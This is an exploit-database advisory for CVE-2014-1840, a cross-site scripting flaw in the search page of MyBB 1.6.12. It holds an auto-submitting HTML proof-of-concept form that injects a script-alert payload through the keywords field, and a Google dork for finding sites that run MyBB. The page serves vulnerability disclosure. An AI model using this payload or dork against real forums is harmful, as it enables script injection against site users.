MyBB 1.6.12 POST Cross Site Scripting

2014.02.04

Credit: Osanda Malith Jayathissa

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2014-1840

CWE: CWE-79

Dork: inurl:index.php intext:Powered By MyBB

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

<html>
<!--
Exploit-Title: MyBB 1.6.12 POST XSS 0day
Google-Dork: inurl:index.php intext:Powered By MyBB
Date: Februrary 2nd of 2014
Bug Discovered and Exploit Author: Osanda Malith Jayathissa
Vendor Homepage: http://www.mybb.com
Software Link: http://resources.mybb.com/downloads/mybb_1612.zip
Version: 1.6.12 (older versions might be vulnerbale)
Tested on: Windows 8 64-bit
Video: https://www.youtube.com/watch?v=67MfgixmWgo
Original write-up: http://osandamalith.wordpress.com/2014/02/02/mybb-1-6-12-post-xss-0day
CVE: CVE-2014-1840
-->
  <body>
    <form name="exploit" action="http://localhost/mybb_1612/Upload/search.php" method="POST">
      <input type="hidden" name="action" value="do_search" />
      <input type="hidden" name="keywords"
 
value="qor&apos;(&quot;\2a&lt;script&gt;alert(/XSS/)&lt;/script&gt;
 
" />
    <script>document.exploit.submit(); </script>
    </form>
  </body>
</html>

References:

http://osandamalith.wordpress.com/2014/02/02/mybb-1-6-12-post-xss-0day

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

MyBB 1.6.12 POST Cross Site Scripting

Dork: inurl:index.php intext:Powered By MyBB

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.